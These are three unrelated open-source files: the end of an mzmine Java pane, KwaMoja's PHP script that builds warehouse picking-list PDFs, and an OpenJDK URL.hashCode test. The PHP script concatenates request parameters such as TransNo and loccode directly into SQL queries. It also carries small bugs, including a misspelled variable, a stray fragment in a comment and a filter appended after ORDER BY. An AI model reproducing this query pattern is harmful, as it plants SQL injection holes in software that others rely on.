selectedBinningMobilogramDataAccess = EfficientDataAccess.of(this.rawDataFile, binWidth);
updateTicPlot();
updateAxisLabels();
setSelectedFrame(((IMSRawDataFile) rawDataFile).getFrames().stream().findFirst().get());
}
public void setMzTolerance(MZTolerance mzTolerance) {
this.mzTolerance = mzTolerance;
}
public void setScanSelection(ScanSelection scanSelection) {
this.scanSelection = scanSelection;
}
public void setFrameNoiseLevel(double frameNoiseLevel) {
this.frameNoiseLevel = frameNoiseLevel;
}
public void setMobilityScanNoiseLevel(double mobilityScanNoiseLevel) {
this.mobilityScanNoiseLevel = mobilityScanNoiseLevel;
}
public void setRtWidth(Float rtWidth) {
this.rtWidth = rtWidth;
}
public void setBinWidth(int binWidth) {
// check the bin width the pane was set to before, not the actual computed bin width.
if (binWidth != this.binWidth) {
this.binWidth = binWidth;
rangesBinningMobilogramDataAccess = EfficientDataAccess.of(this.rawDataFile, binWidth);
selectedBinningMobilogramDataAccess = EfficientDataAccess.of(this.rawDataFile, binWidth);
}
}
}
| mzmine/mzmine3 | src/main/java/io/github/mzmine/modules/visualization/rawdataoverviewims/IMSRawDataOverviewPane.java | Java | gpl-2.0 | 25,755 |
<?php
/* $Id: GeneratePickingList.php 1 2014-08-26 11:54:03Z agaluski $*/
include('includes/session.inc');
include('includes/SQL_CommonFunctions.inc');
/* Check that the config variable is set for
* picking notes and get out if not.
*/
if ($_SESSION['RequirePickingNote'] == 0) {
$Title = _('Picking Lists Not Enabled');
include('includes/header.inc');
echo '<br />';
prnMsg(_('The system is not configured for picking lists. A configuration parameter is required where picking slips are required. Please consult your system administrator.'), 'info');
include('includes/footer.inc');
exit;
}
/* Show selection screen if we have no orders to work with */
if ((!isset($_GET['TransNo']) or $_GET['TransNo'] == '') and !isset($_POST['TransDate'])) {
$Title = _('Select Picking Lists');
include('includes/header.inc');
$SQL = "SELECT locations.loccode,
locationname
FROM locations
INNER JOIN locationusers ON locationusers.loccode=locations.loccode AND locationusers.userid='" . $_SESSION['UserID'] . "' AND locationusers.canupd=1";
$Result = DB_query($SQL);
echo '<p class="page_title_text"><img src="' . $RootPath . '/css/' . $_SESSION['Theme'] . '/images/sales.png" title="' . _('Search') . '" alt="" />' . ' ' . $Title . '</p><br />';
echo '<form action="' . htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8') . '" method="post" name="form">
<input type="hidden" name="FormID" value="' . $_SESSION['FormID'] . '" />
<table class="selection">
<tr>
<td>' . _('Create picking lists for all deliveries to be made on') . ' : ' . '</td>
<td><input type="text" required="required" autofocus="autofocus" class="date" alt="' . $_SESSION['DefaultDateFormat'] . '" name="TransDate" maxlength="10" size="11" value="' . date($_SESSION['DefaultDateFormat'], mktime(date('m'), date('Y'), date('d') + 1)) . '" /></td>
</tr>
<tr>
<td>' . _('From Warehouse') . ' : ' . '</td>
<td><select required="required" name="loccode">';
while ($MyRow = DB_fetch_array($Result)) {
echo '<option value="' . $MyRow['loccode'] . '">' . $MyRow['locationname'] . '</option>';
}
echo '</select></td>
</tr>
</table>';
echo '<div class="centre">
<input type="submit" name="Process" value="' . _('Print Picking Lists') . '" />
</div>
</form>';
include('includes/footer.inc');
exit();
}
/*retrieve the order details from the database to print */
$ErrMsg = _('There was a problem retrieving the order header details from the database');
if (!isset($_POST['TransDate']) and $_GET['TransNo'] != 'Preview') {
/* If there is no transaction date set, then it must be for a single order */
$SQL = "SELECT salesorders.debtorno,
salesorders.orderno,
salesorders.customerref,
salesorders.comments,
salesorders.orddate,
salesorders.deliverto,
salesorders.deladd1,
salesorders.deladd2,
salesorders.deladd3,
salesorders.deladd4,
salesorders.deladd5,
salesorders.deladd6,
salesorders.deliverblind,
salesorders.deliverydate,
debtorsmaster.name,
debtorsmaster.address1,
debtorsmaster.address2,
debtorsmaster.address3,
debtorsmaster.address4,
debtorsmaster.address5,
debtorsmaster.address6,
shippers.shippername,
salesorders.printedpackingslip,
salesorders.datepackingslipprinted,
locations.loccode,
locations.locationname
FROM salesorders INNER JOIN salesorderdetails on salesorderdetails.orderno=salesorders.orderno,
debtorsmaster,
shippers,
locations INNER JOIN locationusers ON locationusers.loccode=locations.loccode AND locationusers.userid='" . $_SESSION['UserID'] . "' AND locationusers.canupd=1
WHERE salesorders.debtorno=debtorsmaster.debtorno
AND salesorders.shipvia=shippers.shipper_id
AND salesorders.fromstkloc=locations.loccode
AND salesorders.orderno='" . $_GET['TransNo'] . "'
AND salesorderdetails.completed=0
GROUP BY salesorders.orderno";
} else if (isset($_POST['TransDate']) or (isset($_GET['TransNo']) and $_GET['TransNo'] != 'Preview')) {
/* We are printing picking lists for all orders on a day */
$SQL = "SELECT salesorders.debtorno,
salesorders.orderno,
salesorders.customerref,
salesorders.comments,
salesorders.orddate,
salesorders.deliverto,
salesorders.deladd1,
salesorders.deladd2,
salesorders.deladd3,
salesorders.deladd4,
salesorders.deladd5,
salesorders.deladd6,
salesorders.deliverblind,
salesorders.deliverydate,
debtorsmaster.name,
debtorsmaster.address1,
debtorsmaster.address2,
debtorsmaster.address3,
debtorsmaster.address4,
debtorsmaster.address5,
debtorsmaster.address6,
shippers.shippername,
salesorders.printedpackingslip,
salesorders.datepackingslipprinted,
locations.loccode,
locations.locationname
FROM salesorders INNER JOIN salesorderdetails on salesorderdetails.orderno=salesorders.orderno,
debtorsmaster,
shippers,
locations INNER JOIN locationusers ON locationusers.loccode=locations.loccode AND locationusers.userid='" . $_SESSION['UserID'] . "' AND locationusers.canupd=1
WHERE salesorders.debtorno=debtorsmaster.debtorno
AND salesorders.shipvia=shippers.shipper_id
AND salesorders.fromstkloc=locations.loccode
AND salesorders.fromstkloc='" . $_POST['loccode'] . "'
AND salesorders.deliverydate<='" . FormatDateForSQL($_POST['TransDate']) . "'
AND salesorderdetails.completed=0
GROUP BY salesorders.orderno
ORDER BY salesorders.deliverydate, salesorders.orderno";
}
if ($_SESSION['SalesmanLogin'] != '') {
$SQL .= " AND salesorders.salesperson='" . $_SESSION['SalesmanLogin'] . "'";
}
if (isset($_POST['TransDate']) or (isset($_GET['TransNo']) and $_GET['TransNo'] != 'Preview')) {
$Result = DB_query($SQL, $ErrMsg);
/*if there are no rows, there's a problem. */
if (DB_num_rows($Result) == 0) {
$Title = _('Print Picking List Error');
include('includes/header.inc');
echo '<br />';
prnMsg(_('Unable to Locate any orders for this criteria '), 'info');
echo '<br />
<table class="selection">
<tr>
<td><a href="' . $RootPath . '/PDFPickingList.php">' . _('Enter Another Date') . '</a></td>
</tr>
</table>
<br />';
include('includes/footer.inc');
exit();
}
/*retrieve the order details from the database and place them in an array */
$i = 0;
while ($MyRow = DB_fetch_array($Result)) {
$OrdersToPick[$i] = $MyRow;
++$i;
}
} else {
$OrdersToPick[0]['debtorno'] = str_pad('', 10, 'x');
$OrdersToPick[0]['orderno'] = 'Preview';
$OrdersToPick[0]['customerref'] = str_pad('', 20, 'x');
$OrdersToPick[0]['comments'] = str_pad('', 100, 'x');
$OrdersToPick[0]['orddate'] = '1900-00-01';
$OrdersToPick[0]['deliverto'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deladd1'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deladd2'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deladd3'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deladd4'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deladd5'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deladd6'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deliverblind'] = str_pad('', 20, 'x');
$OrdersToPick[0]['deliverydate'] = '1900-00-01';
$OrdersToPick[0]['name'] = str_pad('', 20, 'x');
$OrdersToPick[0]['address1'] = str_pad('', 20, 'x');
$OrdersToPick[0]['address2'] = str_pad('', 20, 'x');
$OrdersToPick[0]['address3'] = str_pad('', 20, 'x');
$OrdersToPick[0]['address4'] = str_pad('', 20, 'x');
$OrdersToPick[0]['address5'] = str_pad('', 20, 'x');
$OrdersToPick[0]['address6'] = str_pad('', 20, 'x');
$OrdersToPick[0]['shippername'] = str_pad('', 20, 'x');
$OrdersToPick[0]['printedpackingslip'] = str_pad('', 20, 'x');
$OrdersToPick[0]['datepackingslipprinted'] = '1900-00-01';
$OrdersToPick[0]['locationname'] = str_pad('', 15, 'x');
}
/* Then there's an order to print and its not been printed already (or its been flagged for reprinting/ge_Width=807;
)
LETS GO */
if ($OrdersToPick[0]['orderno'] == 'Preview') {
$FormDesign = simplexml_load_file(sys_get_temp_dir() . '/PickingList.xml');
} else {
$FormDesign = simplexml_load_file($PathPrefix . 'companies/' . $_SESSION['DatabaseName'] . '/FormDesigns/PickingList.xml');
}
$PaperSize = $FormDesign->PaperSize;
include('includes/PDFStarter.php');
$PDF->addInfo('Title', _('Picking List'));
$PDF->addInfo('Subject', _('Laser Picking List'));
$FontSize = 12;
$ListCount = 0;
$Copy = '';
$line_height = $FormDesign->LineHeight;
for ($i = 0; $i < sizeof($OrdersToPick); $i++) {
/*Cycle through each of the orders to pick */
if ($i > 0) {
$PDF->newPage();
}
/* Now ... Has the order got any line items still outstanding to be picked */
$PageNumber = 1;
if (isset($_POST['TransDate']) or (isset($_GET['TransNo']) and $_GET['TransNo'] != 'Preview')) {
$ErrMsg = _('There was a problem retrieving the order line details for Order Number') . ' ' . $OrdersToPick[$i]['orderno'] . ' ' . _('from the database');
/* Are there any picking lists for this order already */
$SQL = "SELECT COUNT(orderno),
prid,
comments
FROM pickreq
WHERE orderno='" . $OrdersToPick[$i]['orderno'] . "'
AND closed='0'";
$CountResult = DB_query($SQL);
$Count = DB_fetch_row($CountResult);
if (!isset($Count[2]) or $COunt[2] == '') {
$Count[2]='Please pick order. Generate packing slip. Apply shipment labels and ship in system.';
}
if ($Count[0] == 0) {
$SQL = "SELECT salesorderdetails.stkcode,
stockmaster.description,
stockmaster.controlled,
stockmaster.serialised,
salesorderdetails.orderlineno,
(salesorderdetails.quantity - salesorderdetails.qtyinvoiced) as qtyexpected,
salesorderdetails.quantity,
salesorderdetails.qtyinvoiced,
salesorderdetails.narrative,
stockmaster.decimalplaces,
custitem.cust_part,
custitem.cust_description,
locstock.quantity qtyavail,
bin
FROM salesorderdetails
INNER JOIN locstock
ON locstock.loccode='" . $OrdersToPick[$i]['loccode'] . "'
AND locstock.stockid=salesorderdetails.stkcode
INNER JOIN stockmaster
ON salesorderdetails.stkcode=stockmaster.stockid
LEFT OUTER JOIN custitem
ON custitem.debtorno='" . $OrdersToPick[$i]['debtorno'] . "'
AND custitem.stockid=stockmaster.stockid
WHERE salesorderdetails.orderno='" . $OrdersToPick[$i]['orderno'] . "'
AND salesorderdetails.completed=0";
} else {
$SQL = "SELECT salesorderdetails.stkcode,
stockmaster.description,
stockmaster.controlled,
stockmaster.serialised,
salesorderdetails.orderlineno,
(salesorderdetails.quantity - salesorderdetails.qtyinvoiced) as qtyexpected,
salesorderdetails.quantity,
salesorderdetails.qtyinvoiced,
pickreqdetails.qtypicked,
pickreqdetails.shipqty,
salesorderdetails.narrative,
stockmaster.decimalplaces,
custitem.cust_part,
custitem.cust_description,
locstock.quantity qtyavail,
bin
FROM salesorderdetails
INNER JOIN locstock
ON locstock.loccode='" . $OrdersToPick[$i]['loccode'] . "'
AND locstock.stockid=salesorderdetails.stkcode
INNER JOIN stockmaster
ON salesorderdetails.stkcode=stockmaster.stockid
LEFT OUTER JOIN pickreq
ON pickreq.orderno=salesorderdetails.orderno
AND pickreq.closed=0
LEFT OUTER JOIN pickreqdetails
ON pickreqdetails.stockid=salesorderdetails.stkcode
AND pickreqdetails.orderlineno=salesorderdetails.orderlineno
AND pickreqdetails.prid=pickreq.prid
LEFT OUTER JOIN custitem
ON custitem.debtorno='" . $OrdersToPick[$i]['debtorno'] . "'
AND custitem.stockid=stockmaster.stockid
WHERE salesorderdetails.orderno='" . $OrdersToPick[$i]['orderno'] . "'
AND salesorderdetails.completed=0";
}
$LineResult = DB_query($SQL, $ErrMsg);
}
if ((isset($_GET['TransNo']) and $_GET['TransNo'] == 'Preview') or (isset($LineResult) and DB_num_rows($LineResult) > 0)) {
/*Yes there are line items to start the ball rolling with a page header */
DB_Txn_Begin();
//include('includes/GenPickingListHeader.inc');
if (isset($_POST['TransDate']) or (isset($_GET['TransNo']) and $_GET['TransNo'] != 'Preview')) {
$LinesToShow = DB_num_rows($LineResult);
if ($Count[0] == 0) {
/*create picklist we have open lines and no pickreq yet*/
$SQL = "INSERT INTO pickreq
(prid,
initiator,
initdate,
requestdate,
status,
comments,
loccode,
orderno)
VALUES (
'NULL',
'" . $_SESSION['UserID'] . "',
'" . date('Y-m-d') . "',
'" . $OrdersToPick[$i]['deliverydate'] . "',
'New',
'Please pick order. Generate packing slip. Apply shipment labels and ship in system. Return all Paperwork to MemberSupport@resmart.com',
'" . $OrdersToPick[$i]['loccode'] . "',
'" . $OrdersToPick[$i]['orderno'] . "');";
$HeaderResult = DB_query($SQL);
$PickReqID = DB_Last_Insert_ID('pickreq', 'prid');
$Count[1]=$PickReqID;
} //create pickreq
} else {
$LinesToShow = 1;
}
include('includes/GenPickingListHeader.inc');
$YPos = $FormDesign->Data->y;
$Lines = 0;
while ($Lines < $LinesToShow) {
if (isset($_GET['TransNo']) and $_GET['TransNo'] == 'Preview') {
$MyRow2['stkcode'] = str_pad('', 10, 'x');
$MyRow2['decimalplaces'] = 2;
$DisplayQty = 'XXXX.XX';
$DisplayPrevDel = 'XXXX.XX';
$DisplayQtySupplied = 'XXXX.XX';
$MyRow2['description'] = str_pad('', 18, 'x');
$MyRow2['narrative'] = str_pad('', 18, 'x');
} else {
$MyRow2 = DB_fetch_array($LineResult);
if ($Count[0] == 0) {
$SQL = "INSERT INTO pickreqdetails
(detailno,
prid,
orderlineno,
stockid,
qtyexpected)
VALUES (
'NULL',
'" . $PickReqID . "',
'" . $MyRow2['orderlineno'] . "',
'" . $MyRow2['stkcode'] . "',
'" . $MyRow2['qtyexpected'] . "');";
$InsLineResult = DB_query($SQL);
$MyRow2['qtyexpected'] = 0;
$MyRow2['qtypicked'] = 0;
} //create pickreqdetail
$DisplayQty = locale_number_format($MyRow2['quantity'], $MyRow2['decimalplaces']);
$DisplayQtySupplied = locale_number_format($MyRow2['quantity'] - $MyRow2['qtyinvoiced'], $MyRow2['decimalplaces']);
$DisplayPrevDel = locale_number_format($MyRow2['qtyinvoiced'], $MyRow2['decimalplaces']);
$DisplayQtyAvail = locale_number_format($MyRow2['qtyavail'], $MyRow2['decimalplaces']);
if ($MyRow2['qtypicked'] > 0) {
$DisplayPicked = locale_number_format($MyRow2['qtypicked'], $MyRow2['decimalplaces']);
} else {
$DisplayPicked = '____________';
}
}
++$ListCount;
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column1->x, $Page_Height - $YPos, $FormDesign->Headings->Column1->Length, $FormDesign->Headings->Column1->FontSize, $MyRow2['stkcode'], 'left');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column2->x, $Page_Height - $YPos, $FormDesign->Headings->Column2->Length, $FormDesign->Headings->Column2->FontSize, $MyRow2['description']);
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column3->x, $Page_Height - $YPos, $FormDesign->Headings->Column3->Length, $FormDesign->Headings->Column3->FontSize, $MyRow2['bin'], 'right');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column4->x, $Page_Height - $YPos, $FormDesign->Headings->Column4->Length, $FormDesign->Headings->Column4->FontSize, $DisplayQtySupplied, 'right');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column5->x, $Page_Height - $YPos, $FormDesign->Headings->Column5->Length, $FormDesign->Headings->Column5->FontSize, $DisplayQtyAvail, 'right');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column6->x, $Page_Height - $YPos, $FormDesign->Headings->Column6->Length, $FormDesign->Headings->Column6->FontSize, $DisplayPicked, 'right');
if ($Page_Height - $YPos - $line_height <= 60) {
/* We reached the end of the page so finish off the page and start a new */
$PageNumber++;
include('includes/GenPickingListHeader.inc');
} //end if need a new page headed up
else {
/*increment a line down for the next line item */
$YPos += ($line_height);
}
if ($MyRow2['cust_part'] > '') {
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column2->x, $Page_Height - $YPos, $FormDesign->Headings->Column2->Length, $FormDesign->Headings->Column2->FontSize, $MyRow2['cust_part'] . ' ' . $MyRow2['cust_description']);
if ($Page_Height - $YPos - $line_height <= 60) {
/* We reached the end of the page so finish off the page and start a new */
$PageNumber++;
include('includes/GenPickingListHeader.inc');
} //end if need a new page headed up
else {
/*increment a line down for the next line item */
$YPos += ($line_height);
}
}
if ($MyRow2['narrative'] > '') {
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column2->x, $Page_Height - $YPos, $FormDesign->Headings->Column2->Length, $FormDesign->Headings->Column2->FontSize, $MyRow2['narrative']);
if ($Page_Height - $YPos - $line_height <= 60) {
/* We reached the end of the page so finish off the page and start a new */
$PageNumber++;
include('includes/GenPickingListHeader.inc');
} //end if need a new page headed up
else {
/*increment a line down for the next line item */
$YPos += ($line_height);
}
}
if ($MyRow2['controlled'] == 1) {
if ($MyRow2['serialised'] == 1) {
$BundleLabel = _('Serial#:');
} else {
$BundleLabel = _('Lot#:');
}
$SQL = "SELECT serialno,
quantity,
(SELECT SUM(moveqty)
FROM pickserialdetails
INNER JOIN pickreqdetails on pickreqdetails.detailno=pickserialdetails.detailno
INNER JOIN pickreq on pickreq.prid=pickreqdetails.prid
AND pickreq.closed=0
WHERE pickserialdetails.serialno=stockserialitems.serialno
AND pickserialdetails.stockid=stockserialitems.stockid) as qtypickedtotal,
(SELECT SUM(moveqty)
FROM pickserialdetails
INNER JOIN pickreqdetails on pickreqdetails.detailno=pickserialdetails.detailno
INNER JOIN pickreq on pickreq.prid=pickreqdetails.prid
AND pickreq.orderno='" . $OrdersToPick[$i]['orderno'] . "'
AND pickreq.closed=0
WHERE pickserialdetails.serialno=stockserialitems.serialno
AND pickserialdetails.stockid=stockserialitems.stockid) as qtypickedthisorder
FROM stockserialitems
WHERE stockid='" . $MyRow2['stkcode'] . "'
AND stockserialitems.loccode ='" . $OrdersToPick[$i]['loccode'] . "'
AND quantity > 0
ORDER BY createdate, quantity";
$ErrMsg = '<br />' . _('Could not retrieve the items for') . ' ' . $StockId;
$Bundles = DB_query($SQL, $ErrMsg);
$YPos += ($line_height);
while ($mybundles = DB_fetch_array($Bundles)) {
if ($mybundles['qtypickedthisorder'] == 0 or is_null($mybundles['qtypickedthisorder'])) {
$mybundles['qtypickedthisorder'] = '____________';
}
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column3->x, $Page_Height - $YPos, $FormDesign->Headings->Column3->Length, $FormDesign->Headings->Column3->FontSize, $BundleLabel, 'right');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column4->x, $Page_Height - $YPos, $FormDesign->Headings->Column4->Length, $FormDesign->Headings->Column4->FontSize, $mybundles['serialno'], 'left');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column5->x, $Page_Height - $YPos, $FormDesign->Headings->Column5->Length, $FormDesign->Headings->Column5->FontSize, $mybundles['quantity'] - $mybundles['qtypickedtotal'], 'right');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column6->x, $Page_Height - $YPos, $FormDesign->Headings->Column6->Length, $FormDesign->Headings->Column6->FontSize, $mybundles['qtypickedthisorder'], 'right');
if ($Page_Height - $YPos - $line_height <= 60) {
/* We reached the end of the page so finish off the page and start a new */
$PageNumber++;
include('includes/GenPickingListHeader.inc');
} //end if need a new page headed up
else {
/*increment a line down for the next line item */
$YPos += ($line_height);
}
} //while
} //controlled
++$Lines;
$YPos += ($line_height);
} //end while there are line items to print out
$YPos = $Page_Height - 45;
$PDF->setFont('', 'B');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column2->x, $Page_Height - $YPos, $FormDesign->Headings->Column2->Length, $FormDesign->Headings->Column2->FontSize, _('Signed for: ') . '______________________________');
$LeftOvers = $PDF->addTextWrap($FormDesign->Headings->Column3->x, $Page_Height - $YPos, $FormDesign->Headings->Column3->Length, $FormDesign->Headings->Column3->FontSize, _('Date : ') . '__________');
$PDF->setFont('', '');
}
/*end if there are order details to show on the order*/
}
/*end for loop to print the whole lot twice */
if ($ListCount == 0) {
$Title = _('Print Picking List Error');
include('includes/header.inc');
prnMsg( _('There are no picking lists to print'), 'error');
include('includes/footer.inc');
exit;
} else {
$PDF->OutputD($_SESSION['DatabaseName'] . '_PickingLists_' . date('Y-m-d') . '.pdf');
$PDF->__destruct();
DB_Txn_Commit();
}
?> | fahadhatib/KwaMoja | GeneratePickingList.php | PHP | gpl-2.0 | 21,477 |
/*
* Copyright 1998 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*/
/*
* @test
* @bug 4091093
* @summary Test URL.hashCode with null host
*
*/
import java.net.*;
public class HashCode {
public static void main(String[] args) throws Exception {
URL url = new URL("http", null, 80, "test");
int code = url.hashCode();
}
}
| TheTypoMaster/Scaper | openjdk/jdk/test/java/net/URL/HashCode.java | Java | gpl-2.0 | 1,336 |